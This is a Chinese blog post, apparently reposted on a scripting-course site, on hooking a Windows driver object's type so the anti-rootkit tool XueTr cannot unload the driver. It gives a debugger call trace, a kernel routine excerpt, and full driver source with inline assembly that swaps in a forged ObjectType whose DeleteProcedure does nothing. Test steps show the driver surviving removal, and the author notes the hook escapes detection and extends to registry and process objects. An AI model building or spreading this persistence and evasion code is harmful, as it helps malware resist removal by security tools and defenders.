欢迎来到 嗅灵易学

零基础也能上手的脚本技术课,一对一答疑带你入门

很多句话让XueTr卸载不了我们的驱动(ObjectType HOOK)

很多句话让XueTr卸载不了我们的驱动(ObjectType HOOK)

对于ObjectType HOOK,可以参考MJ0011和sudami的文章:
ObjectType HOOK干涉注册表操作(bypass Icesword,gmer,NIAP,etc.)
http://www.xfocus.net/articles/200802/966.html
一种Object hook的思路和实现过程
http://forum.eviloctal.com/thread-33688-1-1.html
两篇文章的共同点都是去HOOK系统已经生成的object type里面的例程,系统怎么去用这些例程呢?仍然以上篇的《一句话让XueTr卸载不了我们的驱动》为例,驱动卸载时,函数调用如下: 
kd> kp 
ChildEBP RetAddr 
ee5deb30 805b1bde nt!IopDeleteDriver 
ee5deb4c 80523bf1 nt!ObpRemoveObjectRoutine+0xe0 
ee5deb70 804f5778 nt!ObfDereferenceObject+0x5f 
ee5dec14 8057a83d nt!IopUnloadDriver+0x28a 
ee5dec24 8053e6d8 nt!NtUnloadDriver+0xf 
ee5dec24 80500231 nt!KiFastCallEntry+0xf8 
ee5deca0 804f55df nt!ZwUnloadDriver+0x11 
ee5ded48 8057a83d nt!IopUnloadDriver+0xf1 
ee5ded58 8053e6d8 nt!NtUnloadDriver+0xf 
ObpRemoveObjectRoutine定义如下:
VOID
ObpRemoveObjectRoutine (
    IN  PVOID   Object,
    IN  BOOLEAN CalledOnWorkerThread
    )
Object是我们的驱动对象DriverObject,
有如下的代码:
    ObjectHeader = OBJECT_TO_OBJECT_HEADER( Object );
    ObjectType = ObjectHeader->Type;
    if (ObjectType->TypeInfo.DeleteProcedure) {
#if DBG
        KIRQL SaveIrql;
#endif
        ObpBeginTypeSpecificCallOut( SaveIrql );
        if (!CalledOnWorkerThread) {
            ObjectHeader->Flags |= OB_FLAG_DELETED_INLINE;
        }
        (*(ObjectType->TypeInfo.DeleteProcedure))(Object);
        ObpEndTypeSpecificCallOut( SaveIrql, "Delete", ObjectType, Object );
    }
可以看到是从Object取ObjectHeader,然后从ObjectHeader取ObjectType,从ObjectType取TypeInfo.DeleteProcedure。没有直接取系统已经生成的ObjectType
因此,我们可以自己构造一个ObjectType,里面填充自己定义的例程,然后覆盖Object上面的ObjectHeader里面的ObjectType,这样系统取到的TypeInfo.DeleteProcedure就是我们自己定义的例程了。
测试代码如下:
/* 
* 
* 空间:http://hi.baidu.com/KiDebug/ 
*/ 
#include <ntddk.h>
UCHAR  My_OBJECT_TYPE[0x200];
void testUnload(IN PDRIVER_OBJECT DriverObject)
{
}
NTSTATUS testDefaultHandler(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)
{
  Irp->IoStatus.Status = STATUS_NOT_SUPPORTED;
  Irp->IoStatus.Information = 0;
  IoCompleteRequest(Irp, IO_NO_INCREMENT);
  return Irp->IoStatus.Status;
}
void DoNothing()
{
}
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING  RegistryPath)
{
  ULONG i;
  for (i = 0; i <= IRP_MJ_MAXIMUM_FUNCTION; i++)
    DriverObject->MajorFunction[i] = testDefaultHandler;
  DriverObject->DriverUnload = testUnload;
  __asm
  {
    mov eax,DriverObject
    mov esi,[eax-10h]      //+0x008 Type   +0x018 Body  两者相差 0x10
    lea edi,My_OBJECT_TYPE
    mov ecx,64h        //_OBJECT_TYPE共0x190个字节,0x64个DWORD
    rep movsd        //把Driver的系统自带的_OBJECT_TYPE复制到My_OBJECT_TYPE里面
    lea ebx,My_OBJECT_TYPE
    mov ecx,DoNothing      
    mov [ebx+98h],ecx      //+0x038 DeleteProcedure
    mov [eax-10h],ebx      //把My_OBJECT_TYPE覆盖成自己DriverObject头上的Type
  };
  return STATUS_SUCCESS;
}
用InstDrv.exe加载编译后的驱动,依次点击安装、启动,然后用XueTr查看“驱动模块”,可以看到test.sys,可以在右键菜单中点击“卸载驱动(危险)”,但刷新后test.sys依然还在。
把My_OBJECT_TYPE覆盖掉XueTr.sys驱动对象上面的ObjectHeader里面的ObjectType,XueTr功能没影响,能干啥干啥。
这样的HOOK用XueTr查不到,可以推广到其他的对象中去,比如说注册表、进程等等。
既然能加载驱动,能进内核了,那么神马都是浮云了:看到什么就可以HOOK什么,反过来看到HOOK了什么,就可以反HOOK什么。

注意:上传附件及图片大小不得大于30M。

⚠️ 版权声明:
本博客所有内容(含教程、源码、工具)仅供个人技术学习与研究交流使用,严禁商用、倒卖、二次分发及非法用途。
未经作者书面授权,任何组织或个人不得转载、复制或用于其他平台,违者将追究相关责任。

0 0 0 举报
复制成功